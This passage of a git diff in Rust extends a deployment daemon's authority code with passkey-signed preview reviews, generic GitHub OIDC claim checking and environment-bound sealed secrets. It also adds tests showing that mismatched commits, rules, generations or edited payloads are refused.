+        issued_at: Timestamp::from_millis(1_000).unwrap(),
+        expires_at: Timestamp::from_millis(600_000).unwrap(),
+    }
+}
+
+/// `body` signed by a browser key under a passkey's session grant for the fork preview.
+fn session_review(rule: &PreviewRule, body: &PreviewReview, passkey: &Authenticator) -> Review {
+    let browser = Signer::from_seed(&[4; 32]);
+    let grant = GrantBody {
+        browser_key: browser.public(),
+        cluster: rule.cluster,
+        environment: preview_namespace(rule.rule, &body.key),
+        environment_id: body.environment,
+        machines: rule.machines.clone(),
+        families: vec![ActionFamily::Deploy],
+        issued_at: Timestamp::from_millis(0).unwrap(),
+        expires_at: Timestamp::from_millis(3_000_000).unwrap(),
+        delegation: Delegation::None,
+    };
+    let grant_body = canonical::to_canonical(&grant).unwrap();
+    let assertion = passkey.answer(&Answer {
+        challenge: &GrantBody::challenge(&grant_body),
+        ..HONEST
+    });
+    Review::Signed(
+        Signed::sign_under(
+            body,
+            &browser,
+            SessionGrant {
+                body: grant_body,
+                assertion,
+            },
+        )
+        .unwrap(),
+    )
+}
+
+fn passkey_review(body: &PreviewReview, passkey: &Authenticator) -> Review {
+    let body = canonical::to_canonical(body).unwrap();
+    let assertion = passkey.answer(&Answer {
+        challenge: review_digest(&body).as_bytes(),
+        ..HONEST
+    });
+    Review::Passkey { body, assertion }
+}
+
+#[test]
+fn a_session_may_not_review_a_preview_that_opens_secrets() {
+    let passkey = Authenticator::es256(4);
+    let trusted = trusting(&passkey);
+    let now = Timestamp::from_millis(2_000).unwrap();
+    let rule = rule();
+    let body = review_body(&rule);
+
+    let session = session_review(&rule, &body, &passkey);
+    assert_eq!(
+        verify_review(&session, &rule, &trusted, now),
+        Err(AuthorityRefusal::Mismatch {
+            field: "the signer"
+        })
+    );
+    let checked = verify_review(&passkey_review(&body, &passkey), &rule, &trusted, now).unwrap();
+    assert_eq!(
+        checked.signer,
+        ReviewSigner::Passkey(passkey.passkey().code())
+    );
+
+    let mut bare = rule.clone();
+    bare.services[0].inherit.clear();
+    let checked = verify_review(
+        &session_review(&bare, &body, &passkey),
+        &bare,
+        &trusted,
+        now,
+    )
+    .unwrap();
+    assert!(matches!(checked.signer, ReviewSigner::Session(_)));
+
+    let mut built = bare;
+    built.services[0].secrets = Some(SealedDigest::from_bytes([3; 32]));
+    assert_eq!(
+        verify_review(
+            &session_review(&built, &body, &passkey),
+            &built,
+            &trusted,
+            now
+        ),
+        Err(AuthorityRefusal::Mismatch {
+            field: "the signer"
+        })
+    );
+}
+
+#[test]
+fn a_reviewed_preview_deploys_only_the_reviewed_commit_and_settings() {
+    let passkey = Authenticator::es256(4);
+    let trusted = trusting(&passkey);
+    let now = Timestamp::from_millis(2_000).unwrap();
+    let rule = rule();
+    let body = review_body(&rule);
+    let review = passkey_review(&body, &passkey);
+    let checked = verify_review(&review, &rule, &trusted, now).unwrap();
+    let namespace = preview_namespace(rule.rule, &PreviewKey::Fork(7));
+    let case = |claim: BuildClaim, spec: Value| Case {
+        rule: rule.clone(),
+        claim,
+        key: PreviewKey::Fork(7),
+        namespace: namespace.clone(),
+        spec,
+        first: false,
+        review: Some(checked.clone()),
+    };
+    let spec = preview_json(namespace.as_str(), "zyxwvutsrqponmlk", false);
+    let reviewed = built(CommitAuthority::Review(review.digest()));
+    assert_eq!(
+        case(reviewed.clone(), spec.clone()).create(),
+        Ok(ImageDigest::from_bytes([0x44; 32]))
+    );
+
+    let other_commit = BuildClaim {
+        commit: CommitSha::parse(&"1".repeat(40)).unwrap(),
+        ..reviewed.clone()
+    };
+    assert_eq!(
+        case(other_commit, spec.clone()).create(),
+        refused("a commit")
+    );
+
+    let other_review = built(CommitAuthority::Review(ReviewDigest::from_bytes([8; 32])));
+    assert_eq!(
+        case(other_review, spec.clone()).create(),
+        refused("a commit")
+    );
+
+    let mut edited = spec;
+    edited["container"]["environment"]["DB"] = json!("db.elsewhere.internal");
+    assert_eq!(case(reviewed, edited).create(), refused("a payload"));
+}
+
+#[test]
+fn a_review_of_another_rule_or_generation_is_refused() {
+    let passkey = Authenticator::es256(4);
+    let trusted = trusting(&passkey);
+    let now = Timestamp::from_millis(2_000).unwrap();
+    let rule = rule();
+    let mut other = review_body(&rule);
+    other.rule = RuleId::from_bytes([0x12; 16]);
+    assert_eq!(
+        verify_review(&passkey_review(&other, &passkey), &rule, &trusted, now),
+        Err(AuthorityRefusal::Mismatch { field: "a rule" })
+    );
+    let mut older = review_body(&rule);
+    older.generation = 1;
+    assert_eq!(
+        verify_review(&passkey_review(&older, &passkey), &rule, &trusted, now),
+        Err(AuthorityRefusal::Mismatch {
+            field: "a generation"
+        })
+    );
+}
diff --git a/core/crates/ployz-core/src/authority/rule.rs b/core/crates/ployz-core/src/authority/rule.rs
index ee776733a5..ecb9c817c7 100644
--- a/core/crates/ployz-core/src/authority/rule.rs
+++ b/core/crates/ployz-core/src/authority/rule.rs
@@ -122,6 +122,11 @@ hex_newtype!(
     /// The X25519 key a builder makes for one build, which its build secrets are sealed to.
     RecipientKey, "recipient key", 32, ""
 );
+hex_newtype!(
+    /// SHA-256 of a preview review's signing input, which is also the challenge a passkey
+    /// answers to approve it.
+    ReviewDigest, "review digest", 32, ""
+);
 hex_newtype!(
     /// The X25519 key every Machine of a Cluster derives from its Sealing Key, which seals
     /// build secrets to a builder and which the builder writes into its image token.
@@ -395,47 +400,104 @@ impl AutoDeployRule {
     /// # Errors
     /// Returns [`AuthorityRefusal::Mismatch`] naming the first claim that does not match.
     pub fn verify_claims(&self, claims: &GithubClaims) -> Result<(), AuthorityRefusal> {
-        let source = &self.source;
-        let git_ref = format!("refs/heads/{}", source.branch);
+        self.source
+            .verify_claims(claims, &format!("refs/heads/{}", self.source.branch))
+    }
+}
+
+impl RuleSource {
+    /// Check `claims` came from this repository's workflow at `git_ref`, run by the pinned
+    /// builder on a GitHub-hosted runner for an event this source builds on.
+    ///
+    /// # Errors
+    /// Returns [`AuthorityRefusal::Mismatch`] naming the first claim that does not match.
+    pub fn verify_claims(
+        &self,
+        claims: &GithubClaims,
+        git_ref: &str,
+    ) -> Result<(), AuthorityRefusal> {
         first_mismatch([
-            (
-                "repository_id",
-                claims.repository_id == source.repository_id,
-            ),
+            ("repository_id", claims.repository_id == self.repository_id),
             (
                 "repository_owner_id",
-                claims.repository_owner_id == source.owner_id,
+                claims.repository_owner_id == self.owner_id,
             ),
             ("ref_type", claims.ref_type == "branch"),
             ("ref", claims.git_ref == git_ref),
             (
                 "event_name",
-                source
-                    .events
+                self.events
                     .iter()
                     .any(|event| event.as_str() == claims.event_name),
             ),
             (
                 "workflow_ref",
-                claims.workflow_ref
-                    == format!("{}/{}@{git_ref}", source.repository, source.workflow),
+                claims.workflow_ref == format!("{}/{}@{git_ref}", self.repository, self.workflow),
             ),
             (
                 "job_workflow_sha",
-                claims.job_workflow_sha == source.builder.sha,
+                claims.job_workflow_sha == self.builder.sha,
             ),
             (
                 "job_workflow_ref",
-                claims.job_workflow_ref == source.builder.r#ref,
+                claims.job_workflow_ref == self.builder.r#ref,
             ),
             (
                 "runner_environment",
-                claims.runner_environment == source.runner.as_str(),
+                claims.runner_environment == self.runner.as_str(),
             ),
         ])
     }
 }
 
+/// A signed rule a GitHub token's claims are checked against, and what a Machine's record
+/// keeps of it.
+pub trait ClaimRule: Sync {
+    fn identity(&self) -> RuleIdentity<'_>;
+
+    /// # Errors
+    /// Returns [`AuthorityRefusal::Mismatch`] naming the first claim that does not match.
+    fn verify_claims(&self, claims: &GithubClaims) -> Result<(), AuthorityRefusal>;
+}
+
+impl ClaimRule for AutoDeployRule {
+    fn identity(&self) -> RuleIdentity<'_> {
+        RuleIdentity {
+            rule: self.rule,
+            generation: self.generation,
+            repository_id: self.source.repository_id,
+            branch: &self.source.branch,
+            namespace: &self.namespace,
+        }
+    }
+
+    fn verify_claims(&self, claims: &GithubClaims) -> Result<(), AuthorityRefusal> {
+        Self::verify_claims(self, claims)
+    }
+}
+
+/// What a Machine records of a rule the first time it sees it, which no later generation
+/// may change, and the generation in hand.
+#[derive(Clone, Copy, Debug)]
+pub struct RuleIdentity<'a> {
+    pub rule: RuleId,
+    pub generation: u64,
+    pub repository_id: u64,
+    pub branch: &'a str,
+    pub namespace: &'a Namespace,
+}
+
+/// A rule statement, which names the Device that signed it.
+pub trait RuleStatement: Statement {
+    fn signer(&self) -> SignerKey;
+}
+
+impl RuleStatement for AutoDeployRule {
+    fn signer(&self) -> SignerKey {
+        self.signer
+    }
+}
+
 /// Open a rule signed by a Device this Machine trusts, the one its body names. A browser
 /// key is refused even under a valid session grant.
 ///
@@ -443,17 +505,17 @@ impl AutoDeployRule {
 /// Returns the envelope's refusal from [`Signed::approvers`], a malformed body, and
 /// [`AuthorityRefusal::Mismatch`] naming the signer when no trusted Device signed as the
 /// body says.
-pub fn verify_signature(
-    rule: &Signed<AutoDeployRule>,
+pub fn verify_signature<T: RuleStatement>(
+    rule: &Signed<T>,
     trusted: &TrustedKeys,
     now: Timestamp,
-) -> Result<(AutoDeployRule, SigningPublicKey), AuthorityRefusal> {
+) -> Result<(T, SigningPublicKey), AuthorityRefusal> {
     let approvers = rule.approvers(trusted, now)?;
     let body = rule.open()?;
     approvers
         .into_iter()
         .find_map(|approver| match approver {
-            Approver::Device(key) if approver.signs_as(body.signer) => Some(key),
+            Approver::Device(key) if approver.signs_as(body.signer()) => Some(key),
             Approver::Device(_) | Approver::Browser { .. } => None,
         })
         .map(|key| (body, key))
@@ -462,12 +524,14 @@ pub fn verify_signature(
         })
 }
 
-/// Which authority a build claims for its commit. Only `Head` exists so far: the commit is
-/// the branch head the Machine reads from GitHub itself.
+/// Which authority a build claims for its commit.
 #[derive(Clone, Copy, Debug, Eq, PartialEq, Serialize, Deserialize, TS)]
 #[serde(rename_all = "snake_case")]
 pub enum CommitAuthority {
+    /// The commit is the branch head the Machine reads from GitHub itself.
     Head,
+    /// A person reviewed the commit for a preview: the review with this digest names it.
+    Review(ReviewDigest),
 }
 
 /// Which token of a build this is: the one that asks for the build secrets, or the one
@@ -606,9 +670,12 @@ impl AutoDeployRule {
             ("a commit", claim.commit == facts.head),
         ];
         // Only a build of the head reaches a creation through a rule. D6's approved
-        // builds deploy through a person's deploy approval instead.
-        match claim.authority {
-            CommitAuthority::Head => {}
+        // builds deploy through a person's deploy approval instead, and a reviewed build
+        // only under a preview rule.
+        if claim.authority != CommitAuthority::Head {
+            return Err(AuthorityRefusal::Mismatch {
+                field: "an authority",
+            });
         }
         first_mismatch(checks)
     }
@@ -631,6 +698,7 @@ impl AutoDeployRule {
             return Err(mismatch("a Service"));
         }
         self.verify_step(claim, facts)?;
+        super::deploy::refuse_preview_parts(facts.namespace, creation.spec)?;
         let (image, attest) = match claim.stage {
             BuildStage::Built { image, attest } => (image, attest),
             BuildStage::Grant { .. } => return Err(mismatch("a stage")),
diff --git a/core/crates/ployz-core/src/config/generated.rs b/core/crates/ployz-core/src/config/generated.rs
index bfcb822981..83ab72fb9d 100644
--- a/core/crates/ployz-core/src/config/generated.rs
+++ b/core/crates/ployz-core/src/config/generated.rs
@@ -108,6 +108,15 @@ impl Generator {
         self.length
     }
 
+    /// Whether `value` is one this generator could have made: exactly its length, every
+    /// character from its charset.
+    #[must_use]
+    pub fn could_make(&self, value: &str) -> bool {
+        let alphabet = self.alphabet();
+        value.len() == usize::from(self.length)
+            && value.bytes().all(|byte| alphabet.contains(&byte))
+    }
+
     /// The distinct characters the value is drawn from, in ASCII order.
     #[must_use]
     pub fn alphabet(&self) -> Vec<u8> {
diff --git a/core/crates/ployz-core/src/sealed.rs b/core/crates/ployz-core/src/sealed.rs
index f043d2da95..42e1349d91 100644
--- a/core/crates/ployz-core/src/sealed.rs
+++ b/core/crates/ployz-core/src/sealed.rs
@@ -86,6 +86,12 @@ pub struct SealedValue {
     pub sealed: Ciphertext,
     pub scope: SealedScope,
     pub key: String,
+    /// The Environment the value was sealed for, when it is not the Container's own: a
+    /// parent's value a preview inherits, opened in place. A daemon that predates it
+    /// refuses the field, so a preview never starts without the check.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    #[ts(optional, type = "string")]
+    pub environment: Option<Uuid>,
 }
 
 /// Where the sealed variable was authored.
@@ -172,13 +178,17 @@ impl From<&str> for EnvValue {
 
 impl SealedValue {
     /// HPKE associated data binding this value to the variable it was authored
-    /// as, in `identity`'s Organization and Environment.
+    /// as, in `identity`'s Organization and in its own Environment: the one it names, or
+    /// else `identity`'s.
     #[must_use]
     pub fn associated_data(&self, identity: &SealedIdentity) -> Vec<u8> {
         let mut aad = Vec::new();
         put(&mut aad, SEALED_VALUE_INFO);
         put(&mut aad, identity.organization.as_bytes());
-        put(&mut aad, identity.environment.as_bytes());
+        put(
+            &mut aad,
+            self.environment.unwrap_or(identity.environment).as_bytes(),
+        );
         match self.scope {
             SealedScope::Shared => put(&mut aad, b"shared"),
             SealedScope::Service(service) => {
@@ -278,6 +288,7 @@ mod sealer {
         let recipient = <Kem as hpke::Kem>::PublicKey::from_bytes(recipient.as_bytes())
             .map_err(|_| SealError::Recipient)?;
         let mut value = SealedValue {
+            environment: None,
             sealed: Ciphertext::from_bytes(Vec::new()),
             scope: SealedScope::Service(identity.service),
             key: key.to_owned(),
@@ -504,6 +515,7 @@ mod sealer {
                 "another Cluster's key does not open it"
             );
             let as_env = SealedValue {
+                environment: None,
                 sealed: sealed.clone(),
                 scope: SealedScope::Shared,
                 key: "TUNNEL_TOKEN".into(),
@@ -540,6 +552,7 @@ mod tests {
 
     fn sealed(key: &str) -> SealedValue {
         SealedValue {
+            environment: None,
             sealed: Ciphertext::from_bytes(vec![7; MIN_CIPHERTEXT_LEN]),
             scope: SealedScope::Service(Uuid::from_u128(2)),
             key: key.into(),
@@ -612,6 +625,7 @@ mod tests {
             ..identity()
         };
         let shared = SealedValue {
+            environment: None,
             scope: SealedScope::Shared,
             ..sealed("TOKEN")
         };
@@ -624,4 +638,34 @@ mod tests {
             assert_ne!(other, base);
         }
     }
+
+    #[test]
+    fn an_inherited_value_binds_the_environment_it_names_in_place_of_its_containers() {
+        let parent = identity();
+        let preview = SealedIdentity {
+            environment: Uuid::from_u128(3),
+            ..identity()
+        };
+        let inherited = SealedValue {
+            environment: Some(parent.environment),
+            ..sealed("TOKEN")
+        };
+        assert_eq!(
+            inherited.associated_data(&preview),
+            sealed("TOKEN").associated_data(&parent)
+        );
+        assert_ne!(
+            inherited.associated_data(&preview),
+            sealed("TOKEN").associated_data(&preview)
+        );
+        let wire = serde_json::to_value(&inherited).unwrap();
+        assert_eq!(
+            wire.get("environment"),
+            Some(&serde_json::json!(parent.environment.to_string()))
+        );
+        assert_eq!(
+            serde_json::from_value::<SealedValue>(wire).unwrap(),
+            inherited
+        );
+    }
 }
diff --git a/core/crates/ployz-store/src/client_sealed.rs b/core/crates/ployz-store/src/client_sealed.rs
index 054b847265..de72c94444 100644
--- a/core/crates/ployz-store/src/client_sealed.rs
+++ b/core/crates/ployz-store/src/client_sealed.rs
@@ -225,6 +225,7 @@ mod tests {
         ClientSealedValue {
             sealed_for: Uuid::from_u128(sealed_for),
             value: SealedValue {
+                environment: None,
                 sealed: Ciphertext::from_bytes(bytes),
                 scope: SealedScope::Service(Uuid::from_u128(service)),
                 key: key.into(),
diff --git a/core/crates/ployz-store/src/variables.rs b/core/crates/ployz-store/src/variables.rs
index ef83189992..5cabcca98b 100644
--- a/core/crates/ployz-store/src/variables.rs
+++ b/core/crates/ployz-store/src/variables.rs
@@ -1560,6 +1560,7 @@ mod tests {
     #[test]
     fn a_sealed_value_counts_toward_a_containers_environment_at_its_opened_length() {
         let sealed = |opened: usize| ployz_core::SealedValue {
+            environment: None,
             sealed: ployz_core::Ciphertext::from_bytes(vec![0; opened + 48]),
             scope: SealedScope::Service(uuid::Uuid::from_u128(3)),
             key: "K".into(),
diff --git a/core/crates/ployz/src/build/local.rs b/core/crates/ployz/src/build/local.rs
index db29dad432..dff3688b86 100644
--- a/core/crates/ployz/src/build/local.rs
+++ b/core/crates/ployz/src/build/local.rs
@@ -263,6 +263,7 @@ mod tests {
         container.environment.insert(
             "RAILPACK_BUILD_CMD".into(),
             ployz_core::EnvValue::Sealed(ployz_core::SealedValue {
+                environment: None,
                 sealed: ployz_core::Ciphertext::from_bytes(vec![7; 48]),
                 scope: ployz_core::SealedScope::Shared,
                 key: "RAILPACK_BUILD_CMD".into(),
@@ -302,6 +303,7 @@ mod tests {
             container.environment.insert(
                 name.into(),
                 ployz_core::EnvValue::Sealed(ployz_core::SealedValue {
+                    environment: None,
                     sealed: ployz_core::Ciphertext::from_bytes(vec![7; 48]),
                     scope: ployz_core::SealedScope::Shared,
                     key: name.into(),
diff --git a/core/crates/ployz/src/build/sealed.rs b/core/crates/ployz/src/build/sealed.rs
index f32a3f6494..ec025c24c1 100644
--- a/core/crates/ployz/src/build/sealed.rs
+++ b/core/crates/ployz/src/build/sealed.rs
@@ -225,6 +225,7 @@ mod tests {
     fn sealed_intent(ciphertext: u8) -> (DeployIntent, EnvValue) {
         let mut intent = intent(&["api"]);
         let sealed = EnvValue::Sealed(ployz_core::SealedValue {
+            environment: None,
             sealed: ployz_core::Ciphertext::from_bytes(vec![ciphertext; 48]),
             scope: ployz_core::SealedScope::Shared,
             key: "NPM_TOKEN".into(),
@@ -464,6 +465,7 @@ mod tests {
 
     fn with_sealed(intent: &mut DeployIntent, name: &str, byte: u8) {
         let value = EnvValue::Sealed(ployz_core::SealedValue {
+            environment: None,
             sealed: ployz_core::Ciphertext::from_bytes(vec![byte; 48]),
             scope: ployz_core::SealedScope::Shared,
             key: name.into(),
@@ -659,6 +661,7 @@ mod tests {
         let root = tempfile::tempdir().unwrap();
         let (mut intent, _) = sealed_intent(7);
         let setting = EnvValue::Sealed(ployz_core::SealedValue {
+            environment: None,
             sealed: ployz_core::Ciphertext::from_bytes(vec![9; 48]),
             scope: ployz_core::SealedScope::Shared,
             key: "RAILPACK_BUILD_CMD".into(),
@@ -706,6 +709,7 @@ RUN --mount=type=secret,id=RAILPACK_BUILD_CMD true
         fs::write(source.join("drop.log"), "excluded").unwrap();
         let (mut intent, _) = sealed_intent(7);
         let setting = EnvValue::Sealed(ployz_core::SealedValue {
+            environment: None,
             sealed: ployz_core::Ciphertext::from_bytes(vec![9; 48]),
             scope: ployz_core::SealedScope::Shared,
             key: "RAILPACK_CONFIG_FILE".into(),
@@ -765,6 +769,7 @@ RUN --mount=type=secret,id=RAILPACK_BUILD_CMD true
         let root = tempfile::tempdir().unwrap();
         let (mut intent, _) = sealed_intent(7);
         let setting = EnvValue::Sealed(ployz_core::SealedValue {
+            environment: None,
             sealed: ployz_core::Ciphertext::from_bytes(vec![9; 48]),
             scope: ployz_core::SealedScope::Shared,
             key: "RAILPACK_BUILD_CMD".into(),
diff --git a/core/crates/ployz/src/handlers/build.rs b/core/crates/ployz/src/handlers/build.rs
index 54a2f5ee18..c87ee3fee2 100644
--- a/core/crates/ployz/src/handlers/build.rs
+++ b/core/crates/ployz/src/handlers/build.rs
@@ -642,6 +642,7 @@ mod tests {
 
     fn sealed_record() -> SealedRecord {
         let value = EnvValue::Sealed(SealedValue {
+            environment: None,
             sealed: ployz_core::Ciphertext::from_bytes(vec![7; 48]),
             scope: SealedScope::Shared,
             key: "NPM_TOKEN".into(),
diff --git a/core/crates/ployz/src/sealed_compat_tests.rs b/core/crates/ployz/src/sealed_compat_tests.rs
index b5b4fcee3a..6a3380707d 100644
--- a/core/crates/ployz/src/sealed_compat_tests.rs
+++ b/core/crates/ployz/src/sealed_compat_tests.rs
@@ -89,6 +89,7 @@ pub(crate) fn spec(sealed: bool) -> ResolvedServiceSpec {
     let mut spec = requested(ServiceMode::Global);
     let value = if sealed {
         EnvValue::Sealed(SealedValue {
+            environment: None,
             sealed: Ciphertext::from_bytes(vec![7; 48]),
             scope: SealedScope::Shared,
             key: "TOKEN".into(),
diff --git a/core/crates/ployzd/src/github/oidc.rs b/core/crates/ployzd/src/github/oidc.rs
index 5124814cf7..62fde563ca 100644
--- a/core/crates/ployzd/src/github/oidc.rs
+++ b/core/crates/ployzd/src/github/oidc.rs
@@ -13,7 +13,7 @@ use std::{
 
 use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD};
 use ployz_core::authority::{
-    AuthorityRefusal, AutoDeployRule, GithubClaims, Timestamp,
+    AuthorityRefusal, ClaimRule, GithubClaims, Timestamp,
     validity::{self, CLOCK_SKEW_MILLIS},
 };
 use ring::signature::{RSA_PKCS1_2048_8192_SHA256, RsaPublicKeyComponents};
@@ -286,17 +286,18 @@ impl IssuerKeys {
     /// [`ProofRefusal::Claim`] naming the first claim `rule` does not match.
     pub async fn check(
         &self,
-        rule: &AutoDeployRule,
+        rule: &impl ClaimRule,
         token: &str,
         now: Timestamp,
     ) -> Result<GithubClaims, ProofRefusal> {
+        let id = rule.identity().rule;
         let claims = self.verify(token, now).await.map_err(|refusal| {
-            tracing::warn!(rule = %rule.rule, %refusal, "refused a GitHub token");
+            tracing::warn!(rule = %id, %refusal, "refused a GitHub token");
             ProofRefusal::Token(refusal)
         })?;
         rule.verify_claims(&claims).map_err(|refusal| {
             if let AuthorityRefusal::Mismatch { field } = &refusal {
-                tracing::warn!(rule = %rule.rule, claim = field, "refused a GitHub token's claim");
+                tracing::warn!(rule = %id, claim = field, "refused a GitHub token's claim");
             }
             ProofRefusal::Claim(refusal)
         })?;
diff --git a/core/crates/ployzd/src/github/oidc_tests.rs b/core/crates/ployzd/src/github/oidc_tests.rs
index 6f96f4c11f..396f426e7d 100644
--- a/core/crates/ployzd/src/github/oidc_tests.rs
+++ b/core/crates/ployzd/src/github/oidc_tests.rs
@@ -1,5 +1,6 @@
 #![expect(clippy::indexing_slicing, reason = "JSON fixtures")]
 
+use ployz_core::authority::AutoDeployRule;
 use std::sync::{
     Arc, Mutex as StdMutex,
     atomic::{AtomicUsize, Ordering},
diff --git a/core/crates/ployzd/src/machine/local_machine/restart_approval.rs b/core/crates/ployzd/src/machine/local_machine/restart_approval.rs
index a62901e29c..ac85020fac 100644
--- a/core/crates/ployzd/src/machine/local_machine/restart_approval.rs
+++ b/core/crates/ployzd/src/machine/local_machine/restart_approval.rs
@@ -11,12 +11,12 @@ use std::{
 
 use ployz_core::{
     ContainerId, ContainerLocator, ContainerNow, ContainerWant, DeviceEnforcementSet, DeviceKey,
-    LocalMachinePhase, ManagementScope, OperationId, RunTarget, Sealing, ServiceName,
+    LocalMachinePhase, ManagementScope, Namespace, OperationId, RunTarget, Sealing, ServiceName,
     SetDeviceEnforcementRequest,
     authority::{
-        AuthorityRefusal, AutoDeployRule, BuildClaim, BuildStage, DeployApproval, Purpose,
-        RestartApproval, RestartFacts, RestartStep, RuleId, Signed, StartingSet, Timestamp,
-        restart, starting_set,
+        AuthorityRefusal, AutoDeployRule, BuildClaim, BuildStage, ClaimRule, DeployApproval,
+        Purpose, RestartApproval, RestartFacts, RestartStep, RuleId, RuleIdentity, Signed,
+        StartingSet, Timestamp, restart, starting_set,
     },
 };
 use serde::{Deserialize, Serialize};
@@ -252,7 +252,7 @@ struct Consumption {
 impl Consumption {
     /// Refuse `rule` when it is below this Machine's mark for it, or moves it to another
     /// repository, branch or Namespace.
-    fn check_mark(&self, rule: &AutoDeployRule) -> Result<(), AuthorityRefusal> {
+    fn check_mark(&self, rule: RuleIdentity<'_>) -> Result<(), AuthorityRefusal> {
         let refused = |field| Err(AuthorityRefusal::Mismatch { field });
         let Some(mark) = self.rules.get(&rule.rule) else {
             return Ok(());
@@ -260,33 +260,37 @@ impl Consumption {
         if rule.generation < mark.generation {
             return refused("a generation");
         }
-        if rule.source.repository_id != mark.repository_id {
+        if rule.repository_id != mark.repository_id {
             return refused("a repository");
         }
-        if rule.source.branch != mark.branch {
+        if rule.branch != mark.branch {
             return refused("a branch");
         }
-        if rule.namespace != mark.namespace {
+        if rule.namespace != &mark.namespace {
             return refused("a Namespace");
         }
         Ok(())
     }
 
-    fn raise_mark(&mut self, rule: &AutoDeployRule) {
+    fn raise_mark(&mut self, rule: RuleIdentity<'_>) {
         let mark = self.rules.entry(rule.rule).or_insert_with(|| RuleMark {
             generation: rule.generation,
-            repository_id: rule.source.repository_id,
-            branch: rule.source.branch.clone(),
+            repository_id: rule.repository_id,
+            branch: rule.branch.to_owned(),
             namespace: rule.namespace.clone(),
         });
         mark.generation = mark.generation.max(rule.generation);
     }
 }
 
-/// Where a rule's record for one Service is kept: one entry per rule and Service, so the
-/// record grows with rules, not with pushes.
-fn rule_service_key(rule: &AutoDeployRule, service: &ServiceName) -> String {
-    format!("{}/{service}", rule.rule)
+/// Where a rule's record for one Service is kept: one entry per rule and Service, and for
+/// a preview rule per preview Namespace too, so the record grows with rules and previews,
+/// not with pushes.
+fn rule_service_key(rule: RuleId, preview: Option<&Namespace>, service: &ServiceName) -> String {
+    match preview {
+        None => format!("{rule}/{service}"),
+        Some(namespace) => format!("{rule}/{namespace}/{service}"),
+    }
 }
 
 /// The build this Machine last admitted a creation for under a rule's Service. A later
@@ -712,7 +716,8 @@ impl ConsumptionLog {
     /// a crash after it costs the builder a new token, never a second grant.
     pub(crate) fn consume_rule_proof(
         &self,
-        rule: &AutoDeployRule,
+        rule: &impl ClaimRule,
+        refused: impl FnOnce(AuthorityRefusal) -> Error,
         jti: &str,
         expires_at: Timestamp,
         now: Timestamp,
@@ -728,12 +733,12 @@ impl ConsumptionLog {
         let now = consumption
             .expiry_time_floor
             .map_or(now, |floor| now.max(floor));
-        consumption
-            .check_mark(rule)
-            .map_err(Error::RuleGrantRefused)?;
+        if let Err(refusal) = consumption.check_mark(rule.identity()) {
+            return Err(refused(refusal));
+        }
         let spent = hex::encode(Sha256::digest(jti.as_bytes()));
         if consumption.proofs.contains_key(&spent) {
-            return Err(Error::RuleGrantRefused(AuthorityRefusal::ProofReplayed));
+            return Err(refused(AuthorityRefusal::ProofReplayed));
         }
         let mut updated = consumption.clone();
         updated.expiry_time_floor = Some(now);
@@ -741,7 +746,7 @@ impl ConsumptionLog {
             expires.plus(ployz_core::authority::validity::CLOCK_SKEW_MILLIS) >= now
         });
         updated.proofs.insert(spent, expires_at);
-        updated.raise_mark(rule);
+        updated.raise_mark(rule.identity());
         self.write(&mut guard, updated)
     }
 
@@ -751,9 +756,10 @@ impl ConsumptionLog {
     /// repository, branch or Namespace. Writes only when the mark rises.
     pub(crate) fn mark_rule(
         &self,
-        rule: &AutoDeployRule,
+        rule: &impl ClaimRule,
         refused: impl FnOnce(AuthorityRefusal) -> Error,
     ) -> Result<(), Error> {
+        let rule = rule.identity();
         let mut guard = self.loaded()?;
         let consumption = guard.as_ref().expect("loaded above");
         consumption.check_mark(rule).map_err(refused)?;
@@ -780,7 +786,7 @@ impl ConsumptionLog {
             .as_ref()
             .expect("loaded above")
             .accepted
-            .get(&rule_service_key(rule, &claim.service));
+            .get(&rule_service_key(rule.rule, None, &claim.service));
         Ok(AcceptedBuild::of(claim).is_some_and(|build| accepted == Some(&build)))
     }
 
@@ -795,11 +801,11 @@ impl ConsumptionLog {
     ) -> Result<(), Error> {
         let mut guard = self.loaded()?;
         let consumption = guard.as_ref().expect("loaded above");
-        consumption.check_mark(rule).map_err(refused)?;
+        consumption.check_mark(rule.identity()).map_err(refused)?;
         let Some(build) = AcceptedBuild::of(claim) else {
             return Ok(());
         };
-        let key = rule_service_key(rule, &claim.service);
+        let key = rule_service_key(rule.rule, None, &claim.service);
         if consumption.accepted.get(&key) == Some(&build) {
             return Ok(());
         }
@@ -812,16 +818,18 @@ impl ConsumptionLog {
     /// refusing one taken for another slot. A request resent for the same slot passes:
     /// the Machine adopts the hook that ran. A later push of the Service replaces the
     /// entry, so a push runs its hook once; a force push back to an earlier commit can
-    /// run that commit's hook again.
+    /// run that commit's hook again. A preview rule keeps one entry per preview, named by
+    /// its Namespace in `preview`.
     pub(crate) fn consume_rule_hook(
         &self,
-        rule: &AutoDeployRule,
+        (rule, preview): (RuleId, Option<&Namespace>),
         claim: &BuildClaim,
         slot: &ployz_core::CreationKey,
+        refused: impl FnOnce(AuthorityRefusal) -> Error,
     ) -> Result<(), Error> {
         let mut guard = self.loaded()?;
         let consumption = guard.as_ref().expect("loaded above");
-        let key = rule_service_key(rule, &claim.service);
+        let key = rule_service_key(rule, preview, &claim.service);
         if let Some(taken) = consumption.rule_hooks.get(&key)
             && taken.generation == claim.generation
             && taken.commit == claim.commit
@@ -829,11 +837,9 @@ impl ConsumptionLog {
             if &taken.slot == slot {
                 return Ok(());
             }
-            return Err(Error::RuleDeployRefused(
-                super::rule_deploy::RuleDeployRefusal::Rule(AuthorityRefusal::Mismatch {
-                    field: "a hook run",
-                }),
-            ));
+            return Err(refused(AuthorityRefusal::Mismatch {
+                field: "a hook run",
+            }));
         }
         let mut updated = consumption.clone();
         updated.rule_hooks.insert(
diff --git a/core/crates/ployzd/src/machine/local_machine/rule_deploy.rs b/core/crates/ployzd/src/machine/local_machine/rule_deploy.rs
index f049f5bb21..1b3829334c 100644
--- a/core/crates/ployzd/src/machine/local_machine/rule_deploy.rs
+++ b/core/crates/ployzd/src/machine/local_machine/rule_deploy.rs
@@ -149,8 +149,12 @@ impl LocalMachine {
             // Checked again: a newer generation may have landed while GitHub answered.
             self.approvals.accept(&rule, claim, superseded)?;
             if new.slot.kind == ContainerKind::PreDeployHook {
-                self.approvals
-                    .consume_rule_hook(&rule, claim, &new.slot.creation_key)?;
+                self.approvals.consume_rule_hook(
+                    (rule.rule, None),
+                    claim,
+                    &new.slot.creation_key,
+                    refused,
+                )?;
             }
             tracing::info!(
                 kind = %new.slot.kind,
